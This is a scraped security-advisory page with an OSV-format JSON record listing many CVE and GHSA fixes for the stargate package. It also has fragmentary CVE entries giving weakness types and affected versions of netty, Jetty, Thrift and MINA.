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Vulnerability from cleanstart
Multiple security vulnerabilities affect the stargate package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "stargate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.44-r6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the stargate package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-RN56220",
"modified": "2026-05-12T18:00:20Z",
"published": "2026-05-18T13:26:54.415325Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-RN56220.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2015-3254"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2018-10237"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2018-11798"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2018-1320"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2018-20200"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2019-0205"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2020-8908"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2021-0341"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2021-41973"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-1471"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-24823"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-3171"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-3509"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-3510"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-41881"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-2976"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-34462"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-44487"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-46120"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-13009"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-29025"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-40094"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-47535"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-6763"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-11143"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-25193"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-46392"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-48734"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-53864"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-59419"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-21452"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27315"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-32588"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41409"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41417"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41635"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42578"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42579"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42580"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42581"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42583"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42584"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42586"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42587"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42778"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42779"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44248"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-269q-hmxg-m83q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-389x-839f-4rhx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-38f8-5428-x5cv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3cqm-mf7h-prrj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p8m-j85q-pgmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-45q3-82m4-75jr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-4gg5-vx3j-xwc7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-57rv-r2g8-2cj3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5jpm-x58v-624v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5mg8-w23w-74h3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6mjq-h674-j845"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-735f-pc8j-v9w8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7g45-4rm6-3mm3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8297-v2rf-2p32"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-84h7-rjj3-6jx4"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-995c-6rp3-4m4x"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-cm33-6792-r9fm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-cw39-r4h6-8j3x"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f2wh-grmh-r6jm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f6hv-jmp6-3vwv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fghv-69vj-qj49"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fh34-c629-p8xj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fx2c-96vj-985v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-g5ww-5jh7-63cx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h4h5-3hr4-j3g2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h9mq-f6q5-6c8m"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j288-q9x7-2f5v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jfg9-48mv-9qgx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jq43-27x9-3v86"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-m4cv-j2px-7723"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mj4r-2hfc-f8p6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mjmj-j48q-9wg2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mm8h-8587-p46h"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mvr2-9pj6-7w5j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-prj3-ccx8-p6x4"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pvp8-3xj6-8c6x"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pwqr-wmgm-9rr8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qffm-gf3j-6mvg"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qh8g-58pp-2wxh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qqpg-mvqg-649v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rgrr-p7gp-5xj7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rj7p-rfgp-852x"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v8h7-rr48-vmmv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vf5j-865m-mq7c"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vx85-mj8c-4qm6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w33c-445m-f8w7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w9fj-cfpg-grvv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wjpw-4j6x-6rwh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wjxj-f8rg-99wx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wxr5-93ph-8wr9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xpw8-rcwv-8f8p"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xq3w-v528-46rv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xwmg-2g98-w7v9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xxqh-mfjm-7mv9"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3254"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10237"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11798"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1320"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20200"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0205"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8908"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0341"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41973"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1471"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24823"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3171"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3509"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3510"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41881"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2976"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34462"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44487"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46120"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13009"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29025"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40094"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47535"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6763"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11143"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25193"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46392"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48734"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53864"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59419"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27315"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32588"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41409"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41635"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42586"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42778"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42779"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44248"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2015-3254, CVE-2018-10237, CVE-2018-11798, CVE-2018-1320, CVE-2018-20200, CVE-2019-0205, CVE-2020-8908, CVE-2021-0341, CVE-2021-41973, CVE-2022-1471, CVE-2022-24823, CVE-2022-3171, CVE-2022-3509, CVE-2022-3510, CVE-2022-41881, CVE-2023-2976, CVE-2023-34462, CVE-2023-44487, CVE-2023-46120, CVE-2024-13009, CVE-2024-29025, CVE-2024-40094, CVE-2024-47535, CVE-2024-6763, CVE-2024-7254, CVE-2025-11143, CVE-2025-25193, CVE-2025-46392, CVE-2025-48734, CVE-2025-48924, CVE-2025-53864, CVE-2025-55163, CVE-2025-58056, CVE-2025-58057, CVE-2025-59419, CVE-2025-67735, CVE-2026-1225, CVE-2026-21452, CVE-2026-27315, CVE-2026-32588, CVE-2026-33870, CVE-2026-33871, CVE-2026-41409, CVE-2026-41417, CVE-2026-41635, CVE-2026-42578, CVE-2026-42579, CVE-2026-42580, CVE-2026-42581, CVE-2026-42583, CVE-2026-42584, CVE-2026-42585, CVE-2026-42586, CVE-2026-42587, CVE-2026-42778, CVE-2026-42779, CVE-2026-44248, ghsa-269q-hmxg-m83q, ghsa-389x-839f-4rhx, ghsa-38f8-5428-x5cv, ghsa-3cqm-mf7h-prrj, ghsa-3p8m-j85q-pgmj, ghsa-45q3-82m4-75jr, ghsa-4gg5-vx3j-xwc7, ghsa-57rv-r2g8-2cj3, ghsa-5jpm-x58v-624v, ghsa-5mg8-w23w-74h3, ghsa-6mjq-h674-j845, ghsa-72hv-8253-57qq, ghsa-735f-pc8j-v9w8, ghsa-7g45-4rm6-3mm3, ghsa-8297-v2rf-2p32, ghsa-84h7-rjj3-6jx4, ghsa-995c-6rp3-4m4x, ghsa-cm33-6792-r9fm, ghsa-cw39-r4h6-8j3x, ghsa-f2wh-grmh-r6jm, ghsa-f6hv-jmp6-3vwv, ghsa-fghv-69vj-qj49, ghsa-fh34-c629-p8xj, ghsa-fx2c-96vj-985v, ghsa-g5ww-5jh7-63cx, ghsa-h4h5-3hr4-j3g2, ghsa-h9mq-f6q5-6c8m, ghsa-j288-q9x7-2f5v, ghsa-jfg9-48mv-9qgx, ghsa-jq43-27x9-3v86, ghsa-m4cv-j2px-7723, ghsa-mj4r-2hfc-f8p6, ghsa-mjmj-j48q-9wg2, ghsa-mm8h-8587-p46h, ghsa-mvr2-9pj6-7w5j, ghsa-prj3-ccx8-p6x4, ghsa-pvp8-3xj6-8c6x, ghsa-pwqr-wmgm-9rr8, ghsa-qffm-gf3j-6mvg, ghsa-qh8g-58pp-2wxh, ghsa-qqpg-mvqg-649v, ghsa-rgrr-p7gp-5xj7, ghsa-rj7p-rfgp-852x, ghsa-v8h7-rr48-vmmv, ghsa-vf5j-865m-mq7c, ghsa-vx85-mj8c-4qm6, ghsa-w33c-445m-f8w7, ghsa-w9fj-cfpg-grvv, ghsa-wjpw-4j6x-6rwh, ghsa-wjxj-f8rg-99wx, ghsa-wxr5-93ph-8wr9, ghsa-xpw8-rcwv-8f8p, ghsa-xq3w-v528-46rv, ghsa-xwmg-2g98-w7v9, ghsa-xxqh-mfjm-7mv9 applied in versions: 2.0.44-r4, 2.0.44-r5, 2.0.44-r6",
"upstream": [
"CVE-2015-3254",
"CVE-2018-10237",
"CVE-2018-11798",
"CVE-2018-1320",
"CVE-2018-20200",
"CVE-2019-0205",
"CVE-2020-8908",
"CVE-2021-0341",
"CVE-2021-41973",
"CVE-2022-1471",
"CVE-2022-24823",
"CVE-2022-3171",
"CVE-2022-3509",
"CVE-2022-3510",
"CVE-2022-41881",
"CVE-2023-2976",
"CVE-2023-34462",
"CVE-2023-44487",
"CVE-2023-46120",
"CVE-2024-13009",
"CVE-2024-29025",
"CVE-2024-40094",
"CVE-2024-47535",
"CVE-2024-6763",
"CVE-2024-7254",
"CVE-2025-11143",
"CVE-2025-25193",
"CVE-2025-46392",
"CVE-2025-48734",
"CVE-2025-48924",
"CVE-2025-53864",
"CVE-2025-55163",
"CVE-2025-58056",
"CVE-2025-58057",
"CVE-2025-59419",
"CVE-2025-67735",
"CVE-2026-1225",
"CVE-2026-21452",
"CVE-2026-27315",
"CVE-2026-32588",
"CVE-2026-33870",
"CVE-2026-33871",
"CVE-2026-41409",
"CVE-2026-41417",
"CVE-2026-41635",
"CVE-2026-42578",
"CVE-2026-42579",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42583",
"CVE-2026-42584",
"CVE-2026-42585",
"CVE-2026-42586",
"CVE-2026-42587",
"CVE-2026-42778",
"CVE-2026-42779",
"CVE-2026-44248",
"ghsa-269q-hmxg-m83q",
"ghsa-389x-839f-4rhx",
"ghsa-38f8-5428-x5cv",
"ghsa-3cqm-mf7h-prrj",
"ghsa-3p8m-j85q-pgmj",
"ghsa-45q3-82m4-75jr",
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"ghsa-5jpm-x58v-624v",
"ghsa-5mg8-w23w-74h3",
"ghsa-6mjq-h674-j845",
"ghsa-72hv-8253-57qq",
"ghsa-735f-pc8j-v9w8",
"ghsa-7g45-4rm6-3mm3",
"ghsa-8297-v2rf-2p32",
"ghsa-84h7-rjj3-6jx4",
"ghsa-995c-6rp3-4m4x",
"ghsa-cm33-6792-r9fm",
"ghsa-cw39-r4h6-8j3x",
"ghsa-f2wh-grmh-r6jm",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-fghv-69vj-qj49",
"ghsa-fh34-c629-p8xj",
"ghsa-fx2c-96vj-985v",
"ghsa-g5ww-5jh7-63cx",
"ghsa-h4h5-3hr4-j3g2",
"ghsa-h9mq-f6q5-6c8m",
"ghsa-j288-q9x7-2f5v",
"ghsa-jfg9-48mv-9qgx",
"ghsa-jq43-27x9-3v86",
"ghsa-m4cv-j2px-7723",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-mjmj-j48q-9wg2",
"ghsa-mm8h-8587-p46h",
"ghsa-mvr2-9pj6-7w5j",
"ghsa-prj3-ccx8-p6x4",
"ghsa-pvp8-3xj6-8c6x",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-qffm-gf3j-6mvg",
"ghsa-qh8g-58pp-2wxh",
"ghsa-qqpg-mvqg-649v",
"ghsa-rgrr-p7gp-5xj7",
"ghsa-rj7p-rfgp-852x",
"ghsa-v8h7-rr48-vmmv",
"ghsa-vf5j-865m-mq7c",
"ghsa-vx85-mj8c-4qm6",
"ghsa-w33c-445m-f8w7",
"ghsa-w9fj-cfpg-grvv",
"ghsa-wjpw-4j6x-6rwh",
"ghsa-wjxj-f8rg-99wx",
"ghsa-wxr5-93ph-8wr9",
"ghsa-xpw8-rcwv-8f8p",
"ghsa-xq3w-v528-46rv",
"ghsa-xwmg-2g98-w7v9",
"ghsa-xxqh-mfjm-7mv9"
]
}
CVE-2022-24823 (GCVE-0-2022-24823)
Vulnerability from cvelistv5 – Published: 2022-05-06 12:05 – Updated: 2025-04-22 18:01| URL | Tags | ||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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CVE-2026-41409 (GCVE-0-2026-41409)
Vulnerability from cvelistv5 – Published: 2026-04-27 09:20 – Updated: 2026-04-27 12:21- CWE-502 - Deserialization of Untrusted Data
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Apache Software Foundation | Apache MINA |
Affected:
2.2.0 , ≤ 2.2.5
(semver)
Affected: 2.1.0 , ≤ 2.1.10 (semver) Affected: 2.0.0 , ≤ 2.0.27 (semver) |
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CVE-2018-1320 (GCVE-0-2018-1320)
Vulnerability from cvelistv5 – Published: 2019-01-07 18:00 – Updated: 2024-08-05 03:59- Improper Authentication
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Apache Software Foundation | Apache Thrift |
Affected:
Apache Thrift 0.5.0 to 0.11.0
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CVE-2025-11143 (GCVE-0-2025-11143)
Vulnerability from cvelistv5 – Published: 2026-03-05 09:26 – Updated: 2026-03-05 14:48- CWE-20 - Improper Input Validation
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Eclipse Foundation | Eclipse Jetty |
Affected:
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CVE-2026-1225 (GCVE-0-2026-1225)
Vulnerability from cvelistv5 – Published: 2026-01-22 09:24 – Updated: 2026-01-22 14:14- CWE-20 - Improper Input Validation
| Vendor | Product | Version | ||
|---|---|---|---|---|
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CVE-2026-33870 (GCVE-0-2026-33870)
Vulnerability from cvelistv5 – Published: 2026-03-27 19:54 – Updated: 2026-07-03 12:04- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
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CVE-2026-44248 (GCVE-0-2026-44248)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:23 – Updated: 2026-06-30 12:10- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|||||||
|
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CVE-2026-42585 (GCVE-0-2026-42585)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:12 – Updated: 2026-05-15 20:34- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
| URL | Tags | ||||
|---|---|---|---|---|---|
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|||||
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|---|---|---|---|---|---|---|---|---|---|
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|||||||
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CVE-2026-42583 (GCVE-0-2026-42583)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:09 – Updated: 2026-05-14 15:41| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| netty | netty |
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CVE-2023-2976 (GCVE-0-2023-2976)
Vulnerability from cvelistv5 – Published: 2023-06-14 17:36 – Updated: 2026-02-25 16:57- Creation of Temporary File With Insecure Permissions
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CVE-2026-27315 (GCVE-0-2026-27315)
Vulnerability from cvelistv5 – Published: 2026-04-07 16:40 – Updated: 2026-04-09 14:38- CWE-532 - Insertion of Sensitive Information into Log File
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
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CVE-2026-42779 (GCVE-0-2026-42779)
Vulnerability from cvelistv5 – Published: 2026-05-01 10:00 – Updated: 2026-05-02 03:55- CWE-502 - Deserialization of Untrusted Data
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
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CVE-2026-42778 (GCVE-0-2026-42778)
Vulnerability from cvelistv5 – Published: 2026-05-01 10:01 – Updated: 2026-05-02 03:55- CWE-502 - Deserialization of Untrusted Data
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
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CVE-2023-34462 (GCVE-0-2023-34462)
Vulnerability from cvelistv5 – Published: 2023-06-22 23:00 – Updated: 2025-02-13 16:55- CWE-400 - Uncontrolled Resource Consumption
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CVE-2019-0205 (GCVE-0-2019-0205)
Vulnerability from cvelistv5 – Published: 2019-10-28 22:32 – Updated: 2024-08-04 17:44- Potential DoS when processing untrusted Thrift payloads
| URL | Tags | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Vendor | Product | Version | ||
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| Apache | Apache Thrift |
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CVE-2024-13009 (GCVE-0-2024-13009)
Vulnerability from cvelistv5 – Published: 2025-05-08 17:29 – Updated: 2025-05-08 18:56 Unsupported When Assigned- CWE-404 - Improper Resource Shutdown or Release
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Eclipse Foundation | Jetty |
Affected:
9.4.0 , ≤ 9.4.56
(semver)
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CVE-2026-41417 (GCVE-0-2026-41417)
Vulnerability from cvelistv5 – Published: 2026-05-06 20:52 – Updated: 2026-05-07 13:59| URL | Tags | ||||
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CVE-2026-33871 (GCVE-0-2026-33871)
Vulnerability from cvelistv5 – Published: 2026-03-27 19:55 – Updated: 2026-07-03 12:04- CWE-770 - Allocation of Resources Without Limits or Throttling
| URL | Tags | ||||
|---|---|---|---|---|---|
|
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CVE-2025-59419 (GCVE-0-2025-59419)
Vulnerability from cvelistv5 – Published: 2025-10-15 15:42 – Updated: 2025-10-17 19:44- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
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CVE-2023-44487 (GCVE-0-2023-44487)
Vulnerability from cvelistv5 – Published: 2023-10-10 00:00 – Updated: 2026-05-12 10:52- n/a
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CVE-2026-41635 (GCVE-0-2026-41635)
Vulnerability from cvelistv5 – Published: 2026-04-27 08:59 – Updated: 2026-04-28 03:55- CWE-502 - Deserialization of Untrusted Data
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
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|---|---|---|---|---|
